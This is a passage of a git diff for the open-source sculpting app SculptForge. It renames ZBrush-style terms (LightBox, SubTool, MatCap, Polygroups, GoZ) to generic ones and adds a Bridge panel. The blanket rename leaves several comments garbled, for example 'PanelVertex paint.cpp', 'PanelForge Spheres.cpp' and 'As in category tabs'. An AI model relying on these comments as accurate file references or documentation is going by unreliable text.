ImGui::SetNextWindowSize(ImVec2(canvas.w, h));
ImGui::PushStyleColor(ImGuiCol_WindowBg, kStripBg);
@@ -825,7 +825,7 @@ void LightBox::draw(App& app, const CanvasRect& canvas) {
ImDrawList* wdl = ImGui::GetWindowDrawList();
const ImVec2 wp = ImGui::GetWindowPos(), ws = ImGui::GetWindowSize();
// 1 px edge toward the canvas.
- const float edge = layout.lightboxBottom ? wp.y : wp.y + ws.y - 1.0f;
+ const float edge = layout.libraryBottom ? wp.y : wp.y + ws.y - 1.0f;
wdl->AddLine(ImVec2(wp.x, edge), ImVec2(wp.x + ws.x, edge), IM_COL32(14, 14, 16, 255));
ImGui::SetCursorPosY(std::round((kHeader * scale - ImGui::GetFrameHeight()) * 0.5f));
@@ -868,8 +868,8 @@ void LightBox::draw(App& app, const CanvasRect& canvas) {
if (pressing_ && ImGui::IsMouseDown(ImGuiMouseButton_Left) && !tileDrag_) {
if (std::abs(io.MousePos.x - pressX_) > 4.0f) scrubbed_ = true;
if (scrubbed_) ImGui::SetScrollX(pressScroll_ - (io.MousePos.x - pressX_));
- // Pulled out of the LightBox onto the canvas: drop it there to load it.
- const float outside = layout.lightboxBottom ? wp.y - io.MousePos.y : io.MousePos.y - (wp.y + ws.y);
+ // Pulled out of the Library onto the canvas: drop it there to load it.
+ const float outside = layout.libraryBottom ? wp.y - io.MousePos.y : io.MousePos.y - (wp.y + ws.y);
if (pressTile_ >= 0 && outside > 12.0f) {
tileDrag_ = true;
dragEntry_ = items[size_t(pressTile_)];
@@ -889,7 +889,7 @@ void LightBox::draw(App& app, const CanvasRect& canvas) {
const ImTextureID tex = thumbnail(app, e);
const std::string key = e.path.empty() ? e.name : e.path;
const bool selected = key == selected_ ||
- (e.kind == AssetKind::Material && app.renderSettings_.matcap == e.index) ||
+ (e.kind == AssetKind::Material && app.renderSettings_.litsphere == e.index) ||
(e.kind == AssetKind::BrushType && isActiveBrushType(app, e.index)) ||
(e.kind == AssetKind::Recipe && !app.paintMode_ && app.doc_.activeBrush == e.index);
const std::string id = e.name + "##lb" + std::to_string(i);
@@ -998,21 +998,21 @@ void LightBox::draw(App& app, const CanvasRect& canvas) {
}
}
-void LightBox::drawPreferences(App& app) {
+void LibraryBrowser::drawPreferences(App& app) {
UiLayout& layout = app.layout_;
- ImGui::Checkbox(tr("Show at startup##lightbox"), &showAtStartup);
+ ImGui::Checkbox(tr("Show at startup##library"), &showAtStartup);
ui::HelpText("Show at startup", nullptr,
"Open the Library on the Project tab when SculptForge starts.",
"Preferences > Library");
ImGui::SetNextItemWidth(-1);
- ImGui::SliderInt("##lbrowspref", &layout.lightboxRows, 1, 4, "Rows %d");
+ ImGui::SliderInt("##lbrowspref", &layout.libraryRows, 1, 4, "Rows %d");
ui::HelpText("Rows", nullptr, "Rows of thumbnails in the Library strip.", "Preferences > Library");
- int placement = layout.lightboxBottom ? 1 : 0;
+ int placement = layout.libraryBottom ? 1 : 0;
ImGui::TextUnformatted(tr("Placement"));
ImGui::SameLine();
- if (ImGui::RadioButton(tr("Top##lbplace"), placement == 0)) layout.lightboxBottom = false;
+ if (ImGui::RadioButton(tr("Top##lbplace"), placement == 0)) layout.libraryBottom = false;
ImGui::SameLine();
- if (ImGui::RadioButton(tr("Bottom##lbplace"), placement == 1)) layout.lightboxBottom = true;
+ if (ImGui::RadioButton(tr("Bottom##lbplace"), placement == 1)) layout.libraryBottom = true;
ui::HelpText("Placement", nullptr, "Show the Library along the top or the bottom of the canvas.",
"Preferences > Library");
ImGui::TextDisabled("%s", tr("Library folder"));
@@ -1030,10 +1030,10 @@ void App::showStarterMeshes() {
status_ = "The starter meshes could not be unpacked (see the log)";
return;
}
- lightbox_.showFolder(LibraryTab::Tool, library_.starter);
+ libraryBrowser_.showFolder(LibraryTab::Tool, library_.starter);
}
-void App::initLightBox() {
+void App::initLibraryBrowser() {
if (const char* base = SDL_GetBasePath()) library_.builtin = findBuiltinAssets(base);
const bool recording = !options_.recordPath.empty() || !options_.renderPath.empty();
if (!options_.uiTest.empty()) {
@@ -1045,7 +1045,7 @@ void App::initLightBox() {
fs::remove_all(fsPath(library_.user), ec);
} else if (!recording) {
const char* docs = SDL_GetUserFolder(SDL_FOLDER_DOCUMENTS);
- library_.user = !uiPrefs_.libraryFolder.empty() ? uiPrefs_.libraryFolder // Preferences > LightBox
+ library_.user = !uiPrefs_.libraryFolder.empty() ? uiPrefs_.libraryFolder // Preferences > Library
: defaultUserLibrary(docs ? docs : "", prefDir_);
}
if (!library_.user.empty()) {
@@ -1068,12 +1068,12 @@ void App::initLightBox() {
else if (!dir.empty())
SDL_Log("Starter meshes: %s", err.c_str());
}
- loadMatcapLibrary(); // custom MatCaps (PanelPolypaint.cpp): the library's MatCaps folder exists by now
+ loadLitSphereLibrary(); // custom Lit Spheres (PanelVertex paint.cpp): the library's Lit Spheres folder exists by now
// Thumbnails are cached on disk for the artist; tests and recordings render fresh ones.
if (interactive() && options_.uiTest.empty() && !prefDir_.empty()) thumbs_.setCacheDir(prefDir_ + "thumbs");
if (const char* dir = SDL_getenv("SCULPTFORGE_THUMBNAIL_CACHE")) thumbs_.setCacheDir(dir); // to look at them
- // Cube is a LightBox primitive like Sphere and Plane (new_sphere / new_plane live in the core).
+ // Cube is a Library primitive like Sphere and Plane (new_sphere / new_plane live in the core).
commands_.add({"new_cube",
"Replace the scene with a new cube ready for sculpting (one face group per side).",
{{"resolution", ParamSpec::Type::Number, "Cells along each edge (1-256). Default 48.", false}},
@@ -1084,7 +1084,7 @@ void App::initLightBox() {
return {true, "Created cube with " + std::to_string(doc.mesh.triangleCount()) + " triangles"};
}});
- // Projects carry a 256 px picture of the current view, so the LightBox shows them without loading.
+ // Projects carry a 256 px picture of the current view, so the Library shows them without loading.
setProjectThumbnailProvider([this](const Document&, Image& out) {
if (!glContext_ || SDL_GL_GetCurrentContext() != glContext_) return false; // not the UI thread
constexpr GLenum kFramebufferBinding = 0x8CA6, kViewport = 0x0BA2;
@@ -1115,11 +1115,11 @@ void App::initLightBox() {
actions_.add(std::move(a));
};
add(
- "ui.lightbox", "Library", ICON_LC_IMAGES, "Library", ",",
+ "ui.library", "Library", ICON_LC_IMAGES, "Library", ",",
"Show or hide the Library: thumbnails of your projects, models, brushes, alphas, materials, images, splats "
"and "
"Snapshots along the top of the canvas. Double-click to load.",
- [this] { lightbox_.toggle(); }, [this] { return lightbox_.open(); });
+ [this] { libraryBrowser_.toggle(); }, [this] { return libraryBrowser_.open(); });
add("ui.picker.brush", "Brush picker", ICON_LC_BRUSH, "Brush", "B",
"Pop up every brush under the cursor. Type the first letter of a brush, then the orange letter on its tile "
"(B S T = Standard).",
@@ -1147,23 +1147,23 @@ void App::initLightBox() {
"16:9, 9:16, 4:3) and format (PNG or JPG).",
[this] { runSaveRender(); });
- // ZBrush opens the LightBox at startup on the Project tab (never in tests, renders or recordings).
- if (uiPrefs_.lightboxAtStartup && interactive() && options_.uiTest.empty() && options_.openPath.empty() &&
+ // classic opens the Library at startup on the Project tab (never in tests, renders or recordings).
+ if (uiPrefs_.libraryAtStartup && interactive() && options_.uiTest.empty() && options_.openPath.empty() &&
!options_.blender)
- lightbox_.show(LibraryTab::Project);
+ libraryBrowser_.show(LibraryTab::Project);
}
-void App::drawLightBoxUi() {
+void App::drawLibraryBrowserUi() {
thumbs_.pump(renderer_);
- lightbox_.draw(*this, canvasRect());
+ libraryBrowser_.draw(*this, canvasRect());
drawPickers(*this);
}
-bool App::lightBoxKey(SDL_Keycode key, SDL_Keymod mod) {
- // Ctrl+B / Ctrl+Shift+B: the brush picker with the mask / selection brushes (ZBrush: B with Ctrl held).
+bool App::libraryKey(SDL_Keycode key, SDL_Keymod mod) {
+ // Ctrl+B / Ctrl+Shift+B: the brush picker with the mask / selection brushes (B with Ctrl held).
const bool heldPicker = key == SDLK_B && (mod & (SDL_KMOD_CTRL | SDL_KMOD_GUI)) && !(mod & SDL_KMOD_ALT);
if (!heldPicker && (mod & (SDL_KMOD_CTRL | SDL_KMOD_ALT | SDL_KMOD_GUI | SDL_KMOD_SHIFT))) return false;
- const char* id = key == SDLK_COMMA ? "ui.lightbox"
+ const char* id = key == SDLK_COMMA ? "ui.library"
: key == SDLK_B ? "ui.picker.brush"
: key == SDLK_M ? "ui.picker.material"
: key == SDLK_S ? "ui.size_popup"
@@ -1192,7 +1192,7 @@ void App::quickSave() {
nextQuickSavePath(folder, std::chrono::duration_cast<std::chrono::seconds>(now.time_since_epoch()).count());
storeProjectSettings();
std::string err;
- // A copy: the document keeps its own path and unsaved state, as with ZBrush's QuickSave.
+ // A copy: the document keeps its own path and unsaved state QuickSave.
if (!saveProject(path, doc_, err)) {
status_ = "Snapshot failed: " + err;
lastCommandOk_ = false;
diff --git a/src/app/LightBox.h b/src/app/LibraryBrowser.h
similarity index 85%
rename from src/app/LightBox.h
rename to src/app/LibraryBrowser.h
index 21f7e46a..a4df8af9 100644
--- a/src/app/LightBox.h
+++ b/src/app/LibraryBrowser.h
@@ -1,10 +1,10 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// LightBox (comma key): a thumbnail strip over the canvas for projects, models,
+// Library (comma key): a thumbnail strip over the canvas for projects, models,
// brushes, alphas, materials, images, splats, QuickSaves and recent files.
//
-// As in ZBrush: category tabs along the top, back / forward through the tabs
+// As in category tabs along the top, back / forward through the tabs
// and folders visited, a "Built-in" and a "User" folder at each tab's root,
// double-click to enter a folder or load an item, drag to scrub the strip
// sideways, 1-4 rows of thumbnails, top or bottom of the canvas.
@@ -23,17 +23,17 @@ namespace sf {
class App;
-class LightBox {
+class LibraryBrowser {
public:
void draw(App& app, const CanvasRect& canvas);
bool open() const { return open_; }
void setOpen(bool open) { open_ = open; }
void toggle() { open_ = !open_; }
- // Shows `tab` (its root) and opens the LightBox.
+ // Shows `tab` (its root) and opens the Library.
void show(LibraryTab tab);
- // Shows `folder` (absolute; "" = the root) in `tab` and opens the LightBox, e.g. the starter meshes.
+ // Shows `folder` (absolute; "" = the root) in `tab` and opens the Library, e.g. the starter meshes.
void showFolder(LibraryTab tab, const std::string& folder);
- // Preferences > LightBox (the shell's Preferences palette calls this).
+ // Preferences > Library (the shell's Preferences palette calls this).
void drawPreferences(App& app);
// Height the strip takes over the canvas at `rows` rows (logical px x scale).
static float height(int rows, float scale);
@@ -41,7 +41,7 @@ public:
// Thread-safe: the folder dialog's callback ("Open folder..." adds a library root).
void folderChosen(const std::string& path);
- bool showAtStartup = true; // Preferences > LightBox: opens on the Project tab (interactive sessions only)
+ bool showAtStartup = true; // Preferences > Library: opens on the Project tab (interactive sessions only)
private:
struct Place {
diff --git a/src/app/Palettes.cpp b/src/app/Palettes.cpp
index 8cbce9ff..2a647ac7 100644
--- a/src/app/Palettes.cpp
+++ b/src/app/Palettes.cpp
@@ -2,9 +2,9 @@
// SPDX-License-Identifier: GPL-3.0-or-later
//
// The palettes of the palette bar (docs/ui-design.md §3.2), listed
-// alphabetically like ZBrush's. Each body is one function, drawn the same way
-// in a drop-down and in a tray. ZBrush's Tool palette holds the SubTool,
-// Layers, Geometry, Remesh, Masking, Polygroups, Visibility, Export and
+// alphabetically. Each body is one function, drawn the same way
+// in a drop-down and in a tray. the classic Tool palette holds the Part,
+// Layers, Geometry, Remesh, Masking, Face groups, Visibility, Export and
// Display sub-palettes.
#include "app/App.h"
@@ -15,7 +15,7 @@
#include "app/Theme.h"
#include "app/Ui.h"
#include "app/I18n.h"
-#include "core/Matcap.h"
+#include "core/LitSphere.h"
#include "core/StarterMeshes.h"
#include <IconsLucide.h>
@@ -380,11 +380,11 @@ void App::drawPalette_Draw() {
"The brush falloff: below 0 a broad, hard tip, above 0 a soft point. The brush cursor's inner ring shows "
"where the brush works at half strength.",
"Draw");
- // The same looks as the top shelf: Sculpt | Paint is a mode (the accent), Zadd | Zsub a choice (raised grey),
+ // The same looks as the top shelf: Sculpt | Paint is a mode (the accent), Raise | Lower a choice (raised grey),
// the rest options (dark chips, an underline when on). Sliders stay neutral, so the accent marks one thing.
ImGui::Dummy(ImVec2(0, 2.0f * uiScale_));
segmented(*this, {"draw.sculpt", "draw.paint"});
- segmented(*this, {"draw.zadd", "draw.zsub"});
+ segmented(*this, {"draw.raise", "draw.lower"});
drawOptionRow(*this, {"draw.rgb", "draw.front_faces"});
tray::GroupLabel(*this, "Dynamic topology");
drawOptionRow(*this, {"draw.dynamic"});
@@ -515,7 +515,7 @@ void App::drawPalette_File() {
menuAction(*this, "file.save_splats");
menuAction(*this, "pack.install"); // a review screen first (PanelPacks.cpp)
ImGui::Separator();
- drawGozMenu();
+ drawBridgeMenu();
drawBlenderMenu(); // the Blender bridge (PanelBlender.cpp)
drawMayaMenu(); // the Maya bridge (PanelMaya.cpp)
menuAction(*this, "file.capture_phone"); // the phone link (PanelPhone.cpp)
@@ -588,7 +588,7 @@ void App::drawPalette_Help() {
void App::drawPalette_Preferences() {
const tray::Style style; // quiet check marks
- // The sub-palettes come from Config.cpp (Store / Restore UI, interface preferences, hotkeys, LightBox).
+ // The sub-palettes come from Config.cpp (Store / Restore UI, interface preferences, hotkeys, Library).
if (subpalette("preferences.config", "Config")) {
tray::Section section;
config::drawConfigSection(*this);
@@ -622,9 +622,9 @@ void App::drawPalette_Preferences() {
tray::Section section;
drawBackgroundControls("prefs");
}
- if (subpalette("preferences.lightbox", "Library")) {
+ if (subpalette("preferences.library", "Library")) {
tray::Section section;
- config::drawLightBoxSection(*this);
+ config::drawLibraryBrowserSection(*this);
}
if (subpalette("preferences.tablet", "Tablet")) {
tray::Section section;
@@ -666,12 +666,12 @@ void App::drawPalette_Render() {
ui::HelpAction(*this, "view.wireframe");
ImGui::Checkbox(tr("Show Mesh"), &renderSettings_.showMesh);
ui::HelpAction(*this, "view.mesh");
- ImGui::Checkbox(tr("Show Vertex Paint"), &renderSettings_.showPolypaint);
- ui::HelpAction(*this, "view.polypaint");
+ ImGui::Checkbox(tr("Show Vertex Paint"), &renderSettings_.showVertexPaint);
+ ui::HelpAction(*this, "view.vertexpaint");
ImGui::Checkbox(tr("Show Mask"), &renderSettings_.showMask);
ui::HelpAction(*this, "view.mask");
- ImGui::Checkbox(tr("Show Face Groups##render"), &renderSettings_.showPolygroups);
- ui::HelpAction(*this, "view.polygroups");
+ ImGui::Checkbox(tr("Show Face Groups##render"), &renderSettings_.showFaceGroups);
+ ui::HelpAction(*this, "view.facegroups");
bool xray = renderSettings_.xray;
if (ui::Checkbox("X-Ray##render", &xray)) runCommand("xray", {{"on", xray}});
ui::HelpAction(*this, "view.xray");
@@ -686,7 +686,7 @@ void App::drawPalette_Render() {
ImGui::TextDisabled("%s", tr("View resolution"));
ui::Segmented(*this, {"perf.res_100", "perf.res_75", "perf.res_50"});
actionRow(*this, {"view.frame", "view.fullscreen"});
- actionRow(*this, {"ui.lightbox", "ui.console"}); // (the SculptForge layout's View menu: they left the shelf)
+ actionRow(*this, {"ui.library", "ui.console"}); // (the SculptForge layout's View menu: they left the shelf)
}
void App::drawPalette_Script() {
@@ -707,9 +707,9 @@ void App::drawPalette_Stroke() {
void App::drawPalette_Tool() {
const tray::Style style; // quiet check marks
const float s = uiScale_;
- // Header: the active SubTool and its size, then Open / Save / Import.
+ // Header: the active Part and its size, then Open / Save / Import.
{
- const SubTool& st = doc_.activeSubtoolInfo();
+ const Part& st = doc_.activePartInfo();
if (fontBold_) ImGui::PushFont(fontBold_);
ImGui::TextUnformatted(st.name.c_str());
if (fontBold_) ImGui::PopFont();
@@ -720,20 +720,20 @@ void App::drawPalette_Tool() {
actionRow(*this, {"file.open", "file.save", "file.import"});
ImGui::Dummy(ImVec2(0, 2.0f * s));
}
- if (subpalette("tool.subtool", "Parts")) {
+ if (subpalette("tool.part", "Parts")) {
tray::Section section;
Demo::pushScope("Parts");
- drawSubToolsContents();
+ drawPartsContents();
Demo::popScope();
drawExtractContents(); // PanelExtract.cpp
Demo::pushScope("Project");
drawProjectContents(); // ProjectAll (PanelRetopo.cpp)
Demo::popScope();
}
- if (subpalette("tool.zspheres", "Forge Spheres")) {
+ if (subpalette("tool.forgespheres", "Forge Spheres")) {
tray::Section section;
Demo::pushScope("Forge Spheres");
- drawZSpheresContents(); // PanelZSpheres.cpp
+ drawForgeSpheresContents(); // PanelForge Spheres.cpp
Demo::popScope();
}
if (subpalette("tool.layers", "Layers")) {
@@ -826,7 +826,7 @@ void App::drawPalette_Tool() {
ui::HelpText("Keep Masked", nullptr, kKeepMaskedHelp, "Tool > Remesh");
if (hasTexture(doc_.mesh)) {
ImGui::SameLine();
- drawKeepTextureCheckbox("Keep Texture##remesh", "Tool > Remesh"); // only for a painted SubTool
+ drawKeepTextureCheckbox("Keep Texture##remesh", "Tool > Remesh"); // only for a painted Part
}
}
}
@@ -844,9 +844,9 @@ void App::drawPalette_Tool() {
tray::Section section;
drawMaskingSection();
}
- if (subpalette("tool.polygroups", "Face Groups")) {
+ if (subpalette("tool.facegroups", "Face Groups")) {
tray::Section section;
- drawPolygroupsSection();
+ drawFaceGroupsSection();
}
if (subpalette("tool.visibility", "Visibility")) {
tray::Section section;
@@ -870,8 +870,8 @@ void App::drawPalette_Tool() {
ImGui::Checkbox(tr("Mask##display"), &renderSettings_.showMask);
ui::HelpAction(*this, "view.mask");
ImGui::SameLine();
- ImGui::Checkbox(tr("Groups##display"), &renderSettings_.showPolygroups);
- ui::HelpAction(*this, "view.polygroups");
+ ImGui::Checkbox(tr("Groups##display"), &renderSettings_.showFaceGroups);
+ ui::HelpAction(*this, "view.facegroups");
if (ImGui::Checkbox(tr("Backface culling##display"), &renderSettings_.backfaceCulling))
uiPrefs_.backfaceCulling = renderSettings_.backfaceCulling; // the default for the next session
ui::HelpText("Backface culling", nullptr,
@@ -906,7 +906,7 @@ void App::drawPalette_Transform() {
ImGui::TextDisabled("%s", tr("Symmetry"));
segmented(*this, {"transform.symmetry_x", "transform.symmetry_y", "transform.symmetry_z"});
drawRadialSymmetryControls();
- actionRow(*this, {"view.frame", "subtool.solo"});
+ actionRow(*this, {"view.frame", "part.solo"});
actionRow(*this, {"view.polyf"});
}
diff --git a/src/app/PanelBake.cpp b/src/app/PanelBake.cpp
index fc4587ad..e85a7711 100644
--- a/src/app/PanelBake.cpp
+++ b/src/app/PanelBake.cpp
@@ -1,8 +1,8 @@
// SculptForge - open source digital sculpting
// SPDX-License-Identifier: GPL-3.0-or-later
//
-// Bake sub-palette (Tool palette): bakes maps from a high-poly source (one SubTool, or every visible one but
-// the active) onto the active SubTool's UVs (core/Bake.h): tangent-space normal, object-space normal,
+// Bake sub-palette (Tool palette): bakes maps from a high-poly source (one Part, or every visible one but
+// the active) onto the active Part's UVs (core/Bake.h): tangent-space normal, object-space normal,
// displacement, AO, cavity and colour, at 1K-8K with ray distances, anti-aliasing and padding. The bake runs
// on a worker thread on copies of the meshes, with progress and Cancel, and writes PNGs (and a float EXR for
// displacement) into the output folder. The tangent-space normal map then shows on the low-poly in the viewport
@@ -79,7 +79,7 @@ bool sliderInt(const char* id, int* v, int lo, int hi, const char* format) {
struct BakeUiState {
BakeSettings settings;
int sizeChoice = 1; // 2K
- uint32_t source = 0; // SubTool id to bake from; 0 = every visible SubTool but the active one
+ uint32_t source = 0; // Part id to bake from; 0 = every visible Part but the active one
int levelSource = 0; // 1: the active Part's top subdivision level onto its lowest, 2: its micro level
char folder[1024] = ""; // empty = beside the last export / the project / <library>/Bakes
bool exr = true;
@@ -93,7 +93,7 @@ struct BakeUiState {
std::shared_ptr<BakeResult> result;
std::shared_ptr<std::string> error;
std::shared_ptr<std::vector<std::string>> files;
- uint32_t subtool = 0;
+ uint32_t part = 0;
size_t triangles = 0;
std::string folder;
bool preview = true; // the bake is of the active Part as it is (no other level, no UDIM tiles)
@@ -101,9 +101,9 @@ struct BakeUiState {
};
std::unique_ptr<Job> job;
- // The last bake, shown on its SubTool while the mesh keeps its triangles and UVs.
+ // The last bake, shown on its Part while the mesh keeps its triangles and UVs.
std::shared_ptr<const BakeResult> result;
- uint32_t subtool = 0;
+ uint32_t part = 0;
size_t triangles = 0;
uint64_t uvKey = 0;
const void* uvData = nullptr; // the UV array last checked against uvKey
@@ -115,7 +115,7 @@ struct BakeUiState {
void show(uint32_t id, const Mesh& mesh, std::shared_ptr<const BakeResult> r, std::vector<std::string> written,
std::string where) {
result = std::move(r);
- subtool = id;
+ part = id;
triangles = mesh.triangleCount();
uvKey = uvHash(mesh);
uvData = mesh.uvs.data();
@@ -150,10 +150,10 @@ void SDLCALL onBakeFolder(void*, const char* const* files, int) {
} // namespace
const NormalMapView* App::bakeNormalMap(uint32_t id, const Mesh& mesh) {
- if (!bake_ || !bake_->preview || !bake_->result || bake_->subtool != id || !bake_->view.serial) return nullptr;
+ if (!bake_ || !bake_->preview || !bake_->result || bake_->part != id || !bake_->view.serial) return nullptr;
BakeUiState& b = *bake_;
if (mesh.triangleCount() != b.triangles || mesh.uvs.size() != b.result->tangents.size()) return nullptr;
- if (mesh.uvs.data() != b.uvData) { // the UV array moved (undo, a SubTool switch): same UVs?
+ if (mesh.uvs.data() != b.uvData) { // the UV array moved (undo, a Part switch): same UVs?
if (uvHash(mesh) != b.uvKey) return nullptr;
b.uvData = mesh.uvs.data();
}
@@ -164,10 +164,10 @@ bool App::bakeBusy() const { return bake_ && bake_->job; }
std::string App::bakedNormalMapFile(bool& directX) {
if (!bake_ || !bake_->result || !bake_->view.serial) return {};
- for (int i = 0; i < doc_.subtoolCount(); ++i) {
- const SubTool& st = doc_.subtools[size_t(i)];
- if (st.id != bake_->subtool || !st.visible) continue;
- const Mesh& m = doc_.subtoolMesh(i);
+ for (int i = 0; i < doc_.partCount(); ++i) {
+ const Part& st = doc_.parts[size_t(i)];
+ if (st.id != bake_->part || !st.visible) continue;
+ const Mesh& m = doc_.partMesh(i);
if (m.triangleCount() != bake_->triangles || uvHash(m) != bake_->uvKey) return {};
for (const std::string& f : bake_->files) {
const std::string suffix = "_normal.png";
@@ -191,7 +191,7 @@ double App::bakeTestValue(const std::string& name) {
}
if (name == "bake_size") return b && b->result ? double(b->result->width) : 0.0;
if (name == "bake_files") return b ? double(b->files.size()) : 0.0;
- if (name == "normal_map_preview") return bakeNormalMap(doc_.activeSubtoolInfo().id, displayedMesh()) ? 1.0 : 0.0;
+ if (name == "normal_map_preview") return bakeNormalMap(doc_.activePartInfo().id, displayedMesh()) ? 1.0 : 0.0;
return std::numeric_limits<double>::quiet_NaN();
}
@@ -213,7 +213,7 @@ void App::registerBakeUiActions() {
actions_.add(std::move(a));
};
add("bake.run", "Bake", [this] { startBake(); }, nullptr,
- [this] { return !bake_->job && doc_.mesh.hasUvs() && (doc_.subtoolCount() > 1 || bake_->levelSource); },
+ [this] { return !bake_->job && doc_.mesh.hasUvs() && (doc_.partCount() > 1 || bake_->levelSource); },
"Bake the chosen maps from the source Part(s), or this Part's own top subdivision or micro level, onto its "
"UVs, in the background. Maps are saved as PNGs (displacement also as a 32-bit EXR, position as a 16-bit PNG) "
"in the output folder, one set per UDIM tile when the UVs use them, and the normal map shows on the model.",
@@ -239,7 +239,7 @@ void App::registerBakeUiActions() {
// A bake run as a command (console, scripts, UI tests) shows its normal map too.
setBakeListener([this](const Document& doc, std::shared_ptr<const BakeResult> r, const std::vector<std::string>& files) {
const std::string folder = files.empty() ? std::string() : utf8(std::filesystem::path(std::u8string(files[0].begin(), files[0].end())).parent_path());
- bake_->show(doc.activeSubtoolInfo().id, doc.mesh, std::move(r), files, folder);
+ bake_->show(doc.activePartInfo().id, doc.mesh, std::move(r), files, folder);
});
}
@@ -264,9 +264,9 @@ void App::startBake() {
return;
}
std::string source = "all";
- for (int i = 0; i < doc_.subtoolCount(); ++i)
- if (b.source && doc_.subtools[size_t(i)].id == b.source) source = doc_.subtools[size_t(i)].name;
- if (!bakeSourceSubtools(doc_, source, idx, err)) {
+ for (int i = 0; i < doc_.partCount(); ++i)
+ if (b.source && doc_.parts[size_t(i)].id == b.source) source = doc_.parts[size_t(i)].name;
+ if (!bakeSourceParts(doc_, source, idx, err)) {
status_ = err;
return;
}
@@ -294,19 +294,19 @@ void App::startBake() {
job->result = std::make_shared<BakeResult>();
job->error = std::make_shared<std::string>();
job->files = std::make_shared<std::vector<std::string>>();
- job->subtool = doc_.activeSubtoolInfo().id;
+ job->part = doc_.activePartInfo().id;
job->triangles = doc_.mesh.triangleCount();
job->folder = folder;
// The worker bakes copies, so sculpting can go on meanwhile.
if (!b.levelSource) {
*low = doc_.mesh;
- for (int i : idx) sources->push_back(doc_.subtoolMesh(i));
+ for (int i : idx) sources->push_back(doc_.partMesh(i));
}
job->preview = !b.levelSource && udimTiles(*low).empty();
job->tiles = std::make_shared<int>(0);
std::promise<bool> promise;
job->done = promise.get_future();
- std::thread([promise = std::move(promise), low, sources, st, folder, name = safeName(doc_.activeSubtoolInfo().name),
+ std::thread([promise = std::move(promise), low, sources, st, folder, name = safeName(doc_.activePartInfo().name),
exr = b.exr, progress = job->progress, cancel = job->cancel, result = job->result, error = job->error,
files = job->files, tiles = job->tiles]() mutable {
std::vector<const Mesh*> src;
@@ -355,10 +355,10 @@ void App::pollBake() {
return;
}
int index = -1;
- for (int i = 0; i < doc_.subtoolCount(); ++i)
- if (doc_.subtools[size_t(i)].id == job->subtool) index = i;
- if (job->preview && index >= 0 && doc_.subtoolMesh(index).triangleCount() == job->triangles)
- b.show(job->subtool, doc_.subtoolMesh(index), job->result, *job->files, job->folder);
+ for (int i = 0; i < doc_.partCount(); ++i)
+ if (doc_.parts[size_t(i)].id == job->part) index = i;
+ if (job->preview && index >= 0 && doc_.partMesh(index).triangleCount() == job->triangles)
+ b.show(job->part, doc_.partMesh(index), job->result, *job->files, job->folder);
else
b.files = *job->files, b.writtenFolder = job->folder;
status_ = bakeSummary(*job->result) + (*job->tiles ? " (" + std::to_string(*job->tiles) + " UDIM tiles)" : std::string()) +
@@ -376,7 +376,7 @@ void App::drawBakeContents() {
if (!m.hasUvs()) {
ImGui::TextDisabled("No UVs: Tool > Texture Map > Auto UV");
} else {
- ImGui::TextDisabled("Onto %s (%zu tris, UVs)", doc_.activeSubtoolInfo().name.c_str(), m.triangleCount());
+ ImGui::TextDisabled("Onto %s (%zu tris, UVs)", doc_.activePartInfo().name.c_str(), m.triangleCount());
}
ui::HelpText("Low-poly", nullptr,
"Maps are baked onto the active Part's UVs: make the low-poly active (it needs UVs from import or "
@@ -386,9 +386,9 @@ void App::drawBakeContents() {
// Source.
std::string current = "All visible Parts";
bool found = false;
- for (int i = 0; i < doc_.subtoolCount(); ++i)
- if (b.source && doc_.subtools[size_t(i)].id == b.source && i != doc_.activeSubtool) {
- current = doc_.subtools[size_t(i)].name;
+ for (int i = 0; i < doc_.partCount(); ++i)
+ if (b.source && doc_.parts[size_t(i)].id == b.source && i != doc_.activePart) {
+ current = doc_.parts[size_t(i)].name;
found = true;
}
if (!found) b.source = 0;
@@ -405,9 +405,9 @@ void App::drawBakeContents() {
if (hasLevels && ImGui::Selectable("Own top subdivision level##level", b.levelSource == 1)) b.levelSource = 1, b.source = 0;
if (hasMicroLevel && ImGui::Selectable("Own micro level##micro", b.levelSource == 2)) b.levelSource = 2, b.source = 0;
if (ImGui::Selectable("All visible Parts", b.source == 0 && !b.levelSource)) b.source = 0, b.levelSource = 0;
- for (int i = 0; i < doc_.subtoolCount(); ++i) {
- if (i == doc_.activeSubtool) continue;
- const SubTool& st = doc_.subtools[size_t(i)];
+ for (int i = 0; i < doc_.partCount(); ++i) {
+ if (i == doc_.activePart) continue;
+ const Part& st = doc_.parts[size_t(i)];
ImGui::PushID(int(st.id));
if (ImGui::Selectable(st.name.c_str(), b.source == st.id && !b.levelSource)) b.source = st.id, b.levelSource = 0;
ImGui::PopID();
diff --git a/src/app/PanelBridge.cpp b/src/app/PanelBridge.cpp
new file mode 100644
index 00000000..495d5bce
--- /dev/null
+++ b/src/app/PanelBridge.cpp
@@ -0,0 +1,113 @@
+// SculptForge - open source digital sculpting
+// SPDX-License-Identifier: GPL-3.0-or-later
+//
+// File > Send to send/receive through the Bridge bridge, Bridge and STL files.
+#include "app/App.h"
+
+#include "io/BridgeProtocol.h"
+#include "io/BridgeIO.h"
+
+#include <filesystem>
+
+namespace sf {
+
+namespace {
+
+const SDL_DialogFileFilter kBridgeFilters[] = {{"Bridge files", bridgefile::kDialogPattern}, {"All files", "*"}};
+
+long long fileTime(const std::string& path) {
+ if (path.empty()) return 0;
+ std::error_code ec;
+ auto t = std::filesystem::last_write_time(std::filesystem::path(std::u8string(path.begin(), path.end())), ec);
+ return ec ? 0 : static_cast<long long>(t.time_since_epoch().count());
+}
+
+} // namespace
+
+void SDLCALL App::onBridgeFileChosen(void* userdata, const char* const* files, int) {
+ wakeMainLoop(); // a file dialog answered (maybe on another thread): redraw now
+ if (!files || !files[0]) return;
+ auto* req = static_cast<BridgeDialog*>(userdata);
+ std::string path = files[0];
+ if (req->kind != BridgeFile::Import &&
+ std::filesystem::path(std::u8string(path.begin(), path.end())).extension().empty())
+ path += req->kind == BridgeFile::ExportStl ? ".stl" : bridgefile::kExt;
+ std::lock_guard lock(req->app->pendingMutex_);
+ req->app->bridgePendingFiles_.push_back({req->kind, std::move(path)});
+}
+
+void App::runBridgeCommand(const std::string& name, const Args& args) {
+ Args a = args;
+ if (bridgeFolder_[0] && (name == "bridge_send" || name == "bridge_receive")) a["folder"] = std::string(bridgeFolder_);
+ runCommand(name, a);
+ // A new mesh arrived: frame it (runCommand does this for "open").
+ if ((name == "bridge_receive" || name == "bridge_import") &&
+ (status_.rfind("Received", 0) == 0 || status_.rfind("Opened", 0) == 0))
+ camera_.frame(sceneBounds());
